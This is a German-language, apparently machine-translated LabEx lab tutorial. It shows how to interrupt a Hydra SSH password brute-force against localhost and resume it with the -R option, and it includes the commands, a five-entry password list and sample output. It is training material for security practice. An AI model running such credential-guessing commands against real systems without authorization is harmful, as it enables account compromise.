Wiederherstellen einer vorherigen Hydra-Sitzung

HydraHydraBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab werden wir lernen, wie man eine vorherige Hydra-Sitzung nach einer Unterbrechung wiederherstellt. Dies wird erreicht, indem wir einen unterbrochenen Hydra-Angriff auf den ssh-Dienst auf localhost mit einer einfachen Passwortliste simulieren. Anschließend verwenden wir die Option -R, um die Sitzung wiederherzustellen und zu überprüfen, ob der Angriff vom letzten Punkt fortgesetzt wird.

Das Lab beinhaltet das Erstellen einer Passwortliste, das Konstruieren eines Hydra-Befehls zum Angriff auf den ssh-Dienst, das Unterbrechen des Angriffs mit Ctrl+C und das anschließende Wiederherstellen der Sitzung mit der Option -R. Abschließend werden wir untersuchen, wie man die wiederhergestellte Sitzung mit einer neuen Option ändern kann.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) hydra/HydraGroup -.-> hydra/single_username("Single Username Attack") hydra/HydraGroup -.-> hydra/single_password("Single Password Attack") hydra/HydraGroup -.-> hydra/task_limit("Task Limit Configuration") hydra/HydraGroup -.-> hydra/session_management("Session Save and Restore") subgraph Lab Skills hydra/single_username -.-> lab-550772{{"Wiederherstellen einer vorherigen Hydra-Sitzung"}} hydra/single_password -.-> lab-550772{{"Wiederherstellen einer vorherigen Hydra-Sitzung"}} hydra/task_limit -.-> lab-550772{{"Wiederherstellen einer vorherigen Hydra-Sitzung"}} hydra/session_management -.-> lab-550772{{"Wiederherstellen einer vorherigen Hydra-Sitzung"}} end

Simulieren eines unterbrochenen Hydra-Angriffs

In diesem Schritt werden wir einen unterbrochenen Hydra-Angriff simulieren. Dies ist ein entscheidender Schritt, um zu verstehen, wie man die Option -R verwendet, um eine Sitzung wiederherzustellen. Wir starten einen Hydra-Angriff und unterbrechen ihn dann manuell, was einer realen Situation entspricht, in der der Angriff aufgrund von Netzwerkproblemen oder anderen unvorhergesehenen Umständen gestoppt werden könnte.

Zunächst lassen wir uns eine einfache Passwortliste anzeigen. Diese Liste enthält einige häufige Passwörter, die Hydra versuchen wird zu verwenden.

cd ~/project
head -n 5 passwords.txt

Fügen Sie die folgenden Passwörter zur Datei hinzu:

password
123456
qwerty
admin
1234567890

Als nächstes benötigen wir ein Ziel für den Angriff. Zu Demonstrationszwecken verwenden wir den ssh-Dienst auf localhost. Stellen Sie sicher, dass ssh auf Ihrer LabEx-VM läuft. Wenn es nicht läuft, können Sie es normalerweise mit sudo service ssh start starten. Da es sich hier jedoch um einen Docker-Container handelt, können Sie möglicherweise nicht systemctl oder service verwenden. In diesem Fall können Sie den eigentlichen Angriff überspringen und sich nur auf das Erstellen des Befehls und das Unterbrechen des Angriffs konzentrieren. Wir gehen für diesen Übungsfall davon aus, dass ssh läuft.

sudo service ssh start
sudo service ssh status

Jetzt konstruieren wir den Hydra-Befehl. Wir verwenden das ssh-Modul, geben den Benutzernamen labex an, nutzen unsere passwords.txt-Datei und richten uns auf localhost aus. Wir fügen auch die Option -t 1 hinzu, um die Anzahl der gleichzeitigen Aufgaben auf 1 zu begrenzen und so die Unterbrechung leichter zu beobachten.

hydra -l labex -P ~/project/passwords.txt -t 1 -vV ssh://localhost

Dieser Befehl startet einen Hydra-Angriff auf den ssh-Dienst auf localhost und versucht, sich als Benutzer labex mit den Passwörtern in ~/project/passwords.txt anzumelden.

Lassen Sie den Angriff einige Sekunden laufen (z.B. 5 - 10 Sekunden). Während er läuft, drücken Sie Ctrl+C, um den Angriff zu unterbrechen.

Sie sollten eine Ausgabe ähnlich der folgenden sehen (die genaue Ausgabe variiert je nach Geschwindigkeit Ihres Systems und der Anzahl der von Hydra getesteten Passwörter):

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 13:56:44
[DATA] max 1 task per 1 server, overall 1 task, 55 login tries (l:1/p:55), ~55 tries per task
[DATA] attacking ssh://localhost:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://[email protected]:22
[INFO] Successful, password authentication is supported by ssh://127.0.0.1:22
[ATTEMPT] target localhost - login "labex" - pass "password" - 1 of 55 [child 0] (0/0)
[ATTEMPT] target localhost - login "labex" - pass "123456" - 2 of 55 [child 0] (0/0)
[ATTEMPT] target localhost - login "labex" - pass "qwerty" - 3 of 55 [child 0] (0/0)
^C[ERROR] Received signal 2, going down ...
The session file ./hydra.restore was written. Type "hydra -R" to resume session.
cancel attack

Das ^C zeigt an, dass Sie Ctrl+C gedrückt haben, um den Prozess zu unterbrechen. Hydra wird aufhören, Passwörter zu testen.

Diese Unterbrechung simuliert eine Situation, in der der Angriff unerwartet gestoppt wird. Im nächsten Schritt lernen wir, wie man die Option -R verwendet, um diese unterbrochene Sitzung fortzusetzen.

Wiederherstellen der Sitzung mit der -R-Option

Im vorherigen Schritt haben wir einen unterbrochenen Hydra-Angriff simuliert. Jetzt verwenden wir die Option -R, um die Sitzung von dem Punkt aus fortzusetzen, an dem sie unterbrochen wurde. Hydra speichert automatisch seinen Fortschritt in einer .restore-Datei im aktuellen Verzeichnis. Die Option -R teilt Hydra mit, diese Datei zu lesen und den Angriff fortzusetzen.

Um die Sitzung wiederherzustellen, führen Sie einfach den gleichen Hydra-Befehl wie zuvor aus, aber fügen Sie die Option -R hinzu:

hydra -R -l labex -P ~/project/passwords.txt -t 1 -vV ssh://localhost

Hydra liest jetzt die hydra.restore-Datei (die automatisch erstellt wird) und setzt den Angriff von dem letzten Punkt fort, den es vor der Unterbrechung erreicht hat. Sie sollten sehen, dass Hydra weiterhin versucht, Passwörter aus der Datei ~/project/passwords.txt zu verwenden.

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[INFORMATION] reading restore file ./hydra.restore
[WARNING] options after -R are now honored (since v8.6)
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 13:57:58
[DATA] max 1 task per 1 server, overall 1 task, 55 login tries (l:1/p:55), ~55 tries per task
[DATA] attacking ssh://localhost:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://[email protected]:22
[INFO] Successful, password authentication is supported by ssh://127.0.0.1:22
[RE-ATTEMPT] target localhost - login "labex" - pass "qwerty" - 3 of 55 [child 0] (0/0)
[ATTEMPT] target localhost - login "labex" - pass "admin" - 4 of 55 [child 0] (0/0)
[ATTEMPT] target localhost - login "labex" - pass "1234567890" - 5 of 55 [child 0] (0/0)
^C[ERROR] Received signal 2, going down ...
The session file ./hydra.restore was written. Type "hydra -R" to resume session.
restore attack

Lassen Sie den Angriff noch einige Sekunden laufen. Möglicherweise bemerken Sie, dass Hydra die Passwörter überspringt, die es im vorherigen Schritt bereits getestet hat.

Die Option -R ist äußerst nützlich in Situationen, in denen Sie eine große Passwortliste haben oder eine langsame Netzwerkverbindung. Sie ermöglicht es Ihnen, den Angriff fortzusetzen, ohne von vorne beginnen zu müssen, was Zeit und Ressourcen spart.

Es ist wichtig zu beachten, dass die hydra.restore-Datei automatisch aktualisiert wird, wenn Hydra fortschreitet. Wenn Sie den Angriff erneut unterbrechen, können Sie den gleichen -R-Befehl verwenden, um von dem neuen Unterbrechungspunkt aus fortzusetzen.

Zusammenfassung

In diesem Lab haben wir einen unterbrochenen Hydra-Angriff auf den SSH-Dienst auf localhost simuliert, um zu verstehen, wie man eine Sitzung wiederherstellt. Wir haben eine Passwortliste erstellt und einen Hydra-Angriff auf den Benutzer 'labex' gestartet, dann den Prozess manuell mit Ctrl+C unterbrochen.

Diese Unterbrechung hat es uns ermöglicht, uns auf die nächsten Schritte vorzubereiten, in denen wir lernen werden, wie man die Option -R verwendet, um die unterbrochene Sitzung wiederherzustellen und den Angriff von dem Punkt aus fortzusetzen, an dem er unterbrochen wurde, sowie wie man die wiederhergestellte Sitzung mit neuen Optionen modifiziert.